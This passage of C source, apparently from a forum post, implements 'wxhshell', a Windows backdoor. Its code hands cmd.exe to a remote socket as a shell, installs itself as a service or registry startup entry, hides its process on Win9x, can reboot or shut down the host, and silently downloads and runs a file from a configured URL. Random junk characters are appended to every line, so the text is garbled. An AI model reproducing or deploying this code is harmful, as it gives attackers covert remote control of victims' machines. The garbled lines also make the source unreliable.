  } }W]k1Bsx  
  else { a<D]Gz^h  
;}4e+`fF|  
    switch(cmd[0]) { 1\,wV,  
  g5&,l  
  // 帮助 dI8y}EbE~  
  case '?': { lFM'F[-?-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U &W}c^#  
    break; Cd'SPaR  
  } >\!>CuU  
  // 安装 }xzbg  
  case 'i': { ~hA;ji|I  
    if(Install()) oakm{I|k}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L@5g#mSl  
    else Zo(QU5m0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7\;gd4Ua1  
    break; ?K?v64[  
    } flfE~_  
  // 卸载 myY@Wp  
  case 'r': { {5:V hW}  
    if(Uninstall()) cm7>%g(oQo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _RzcMX  
    else @)wNINvD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ne,u\q3f  
    break; x~O_v  
    } n1)m(,{  
  // 显示 wxhshell 所在路径 ,7Lu7Q  
  case 'p': { QVrMrm+vRv  
    char svExeFile[MAX_PATH]; >*mLbp"  
    strcpy(svExeFile,"\n\r"); bPdbKi{j@  
      strcat(svExeFile,ExeFile); ut^^,w{o>  
        send(wsh,svExeFile,strlen(svExeFile),0); ViT$]Nv  
    break; [R[Suf  
    } Z,Tv8;  
  // 重启 # OQ(oyT  
  case 'b': { vo DTU]pf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'roZ:NE  
    if(Boot(REBOOT)) x-{awP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *[_>d.i  
    else { eqE%ofW  
    closesocket(wsh); lFL iW  
    ExitThread(0); gobqS+c  
    } Z66@@?`  
    break; S}*%l)vfR  
    } @=[ SsS  
  // 关机 )TcW.d6  
  case 'd': { $r=Ud >  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ` 5Qo*qx  
    if(Boot(SHUTDOWN)) d6k`=Hlg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Sz iTM  
    else { G" Fd]'  
    closesocket(wsh); =#<TE~n2(  
    ExitThread(0); #zcnc$x\  
    } [0e}%!%M  
    break; VXAgp6  
    } zZ=.riK  
  // 获取shell :xT=uE.I  
  case 's': { f[/E $r99J  
    CmdShell(wsh); #_bSWV4  
    closesocket(wsh); uU]4)Hp  
    ExitThread(0); =p)Wxk  
    break; pJ#R :#P  
  } ,2%>e"%  
  // 退出 \/9uS.Kw  
  case 'x': { DjjG?(1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s],+]<qX  
    CloseIt(wsh); k w!1]N  
    break; 0:(@Y  
    } ukSi9| 1-,  
  // 离开 BI]%$rq  
  case 'q': { K G~fDb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); { O*maE"  
    closesocket(wsh); &?<o692  
    WSACleanup(); 3RP}lb  
    exit(1); %G$KahxV>  
    break; jibrSz  
        } ^8nK x<&5  
  } DPNUm<>  
  } XoaBX2  
f&Bu_r  
  // 提示信息 of ^N4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ; . c]0  
} Hdh'!|w  
  } P$\vD^  
<5~} !N X`  
  return; Ee##:I[z  
} X] /r'Tz  
(6G5UwSt  
// shell模块句柄 RCq_FY  
int CmdShell(SOCKET sock) KutR l$,  
{ ;Q2p~-0Q  
STARTUPINFO si;  wYS,|=y  
ZeroMemory(&si,sizeof(si)); QO)Q%K,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 16YJQ ue  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ov)rsi  
PROCESS_INFORMATION ProcessInfo; , c/\'k\K)  
char cmdline[]="cmd"; _Ucj)Ud k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !_cT_ WHty  
  return 0; mIZ#uW  
} 9frS!AQ  
d*T;RBk  
// 自身启动模式 lV^sVN Z]  
int StartFromService(void) xgtdmv%  
{ 8_ns^6XK5p  
typedef struct 52>?l C  
{ kG+CT  
  DWORD ExitStatus; c|Nv^V*2  
  DWORD PebBaseAddress; d3(T=9;f2  
  DWORD AffinityMask; - iS\3P.  
  DWORD BasePriority; u[^(s_  
  ULONG UniqueProcessId; ?iUAzM8  
  ULONG InheritedFromUniqueProcessId; 8KW}XG  
}   PROCESS_BASIC_INFORMATION; L;'+O u  
k"V3FXC)  
PROCNTQSIP NtQueryInformationProcess; 3 $Uv  
59p'Ega.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0%+TU4Xx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G;MgrA#\  
Sg0 _l(  
  HANDLE             hProcess; Ne.W-,X^cL  
  PROCESS_BASIC_INFORMATION pbi; _#e='~;  
h8O[xca/~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @B~/0 9  
  if(NULL == hInst ) return 0; LC\Ys\/,U  
| 9!3{3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~-6Kl3Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A[!Fg0X0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7+j@0v\  
t@!X1?`w  
  if (!NtQueryInformationProcess) return 0; ,l` q  
Sz"J-3b^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JB'q_dS}  
  if(!hProcess) return 0; X1i6CEa<  
|jaUVE_2[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &|26x >  
U\ y?P:yy  
  CloseHandle(hProcess); Om{[ <tL  
>NW /0'/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M\8FjJ>9  
if(hProcess==NULL) return 0; /U6G?3b  
5 8p_b  
HMODULE hMod; _pKW($\  
char procName[255]; -";'l @D=  
unsigned long cbNeeded; VA)3=82n  
M:nXn7)+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |z|5j!Nfh  
l0u6nGkh  
  CloseHandle(hProcess); +vLuzM-  
'sY>(D*CQ  
if(strstr(procName,"services")) return 1; // 以服务启动 ^,b*.6t  
T8ZBQ;o  
  return 0; // 注册表启动 FymA_Eq  
} OgS6#X  
qw0tw2|  
// 主模块 z(>{"t<C  
int StartWxhshell(LPSTR lpCmdLine) #v')iR"  
{ {`KgyC W:  
  SOCKET wsl; pR&cdO RsP  
BOOL val=TRUE; 3. Qf^p  
  int port=0; ~7b '4\  
  struct sockaddr_in door; }` Q'!_`  
d^Ra1@0"q2  
  if(wscfg.ws_autoins) Install();  #d*mG =  
brNe13d3~"  
port=atoi(lpCmdLine); V@8 4Cb  
u sR19_E-  
if(port<=0) port=wscfg.ws_port; z>&Py(  
#:vosVqG  
  WSADATA data; WMZa6cH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =q^o6{d0"  
=5%jKHo+9z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~5`rv1$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g 6>R yjN  
  door.sin_family = AF_INET; }`IN5NdYp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fx0K.Q2Y0  
  door.sin_port = htons(port); 8b(UqyV  
;MCv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dj?.Hc7od  
closesocket(wsl); u-pE ;|  
return 1; H<%7aOwO2  
} M[R, m_p  
S]9:3~  
  if(listen(wsl,2) == INVALID_SOCKET) { phbdV8$L  
closesocket(wsl); t_3)}  
return 1; zScV 9,H1  
} X&^t 8  
  Wxhshell(wsl); \H<'W"  
  WSACleanup(); )(\5Wk9(  
A,lcR:@w  
return 0; QXq~e  
8:$kFy\A'  
} Q2^}NQO=  
M$%aX,nk'  
// 以NT服务方式启动 vjZX8KAiZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EiP_V&\  
{ 5xLuuKG  
DWORD   status = 0; _myam3[W  
  DWORD   specificError = 0xfffffff; !;'U5[}8  
EZIMp8^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jLD=EJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d~S.PRg=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; - CT?JB  
  serviceStatus.dwWin32ExitCode     = 0; o,D>7|h  
  serviceStatus.dwServiceSpecificExitCode = 0; {^"c>'R  
  serviceStatus.dwCheckPoint       = 0; 0$}+tq+  
  serviceStatus.dwWaitHint       = 0; uc=-+*D'I  
0l.+yr}PE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -q(,}/Xf  
  if (hServiceStatusHandle==0) return; *ta|,  
> g8;x#  
status = GetLastError(); \[]36|$LS  
  if (status!=NO_ERROR) .4_EaQ;jX  
{ YqR MVWcnk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }3lM+]pf  
    serviceStatus.dwCheckPoint       = 0; m {_\@'q  
    serviceStatus.dwWaitHint       = 0; vay_QxB5  
    serviceStatus.dwWin32ExitCode     = status; d|j3E  
    serviceStatus.dwServiceSpecificExitCode = specificError; 26 o68U8&y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` B : Ydf  
    return; g?^o++  
  } HP. j.  
AJ^9[j}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pL.r 9T.  
  serviceStatus.dwCheckPoint       = 0; #2_phm'  
  serviceStatus.dwWaitHint       = 0; D gY2:&0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lb{*,S  
} N: d`L+tcc  
!(uyqplTk  
// 处理NT服务事件,比如:启动、停止 )3'/g`c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8$OE<c?#5n  
{ 2!7wGXm~U  
switch(fdwControl) yFl@ z  
{ /]F3t]FlC  
case SERVICE_CONTROL_STOP: 3UslVj1u  
  serviceStatus.dwWin32ExitCode = 0; 1f~unb\Gg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6}n_r}kNR  
  serviceStatus.dwCheckPoint   = 0; i)+@'!6  
  serviceStatus.dwWaitHint     = 0; D7[ 8*^  
  {  #XQEfa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C[&  \Xq  
  } EtcAU}9  
  return; KNQX\-=  
case SERVICE_CONTROL_PAUSE: b0 PF7PEEQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {]Nvq9?  
  break; x}AWWmXv  
case SERVICE_CONTROL_CONTINUE: y*vs}G'W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HS="t3  
  break; TN.mNl%  
case SERVICE_CONTROL_INTERROGATE: 1 q}iUnR  
  break; tP"C >#LO  
}; zK k;&y|{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k~`pV/6  
} `L]cJ0tAs  
DFVaZN?~  
// 标准应用程序主函数 r*&gd|sn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \[B5j0vV,  
{ #If}P$!  
yJppPIW^  
// 获取操作系统版本 nP0|nPWz#  
OsIsNt=GetOsVer(); v'`C16&^]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); deQ0)A 4g  
!-U5d9!  
  // 从命令行安装 DNLqipUw  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fv.}w_  
%g kR G66  
  // 下载执行文件 HP:ee+n  
if(wscfg.ws_downexe) { 52C>f6w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `rbTB3?  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7xO =:*  
}  pzg|?U  
sn@gchO9s  
if(!OsIsNt) { r[q-O&2&  
// 如果时win9x,隐藏进程并且设置为注册表启动 QPg QM6  
HideProc(); yS@c2I602  
StartWxhshell(lpCmdLine); q$(aMO&J  
} k9~NIvnB`  
else 8l~] }2LAs  
  if(StartFromService()) ltwX-   
  // 以服务方式启动 aiF7\^aw$  
  StartServiceCtrlDispatcher(DispatchTable); ^Q pP'  
else 2h IM!wQ  
  // 普通方式启动 Uk` ym  
  StartWxhshell(lpCmdLine); i 'H{cN6  
{SY@7G]  
return 0; l"W9uS;\T  
}
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只看该作者 1 发表于: 2006-10-10
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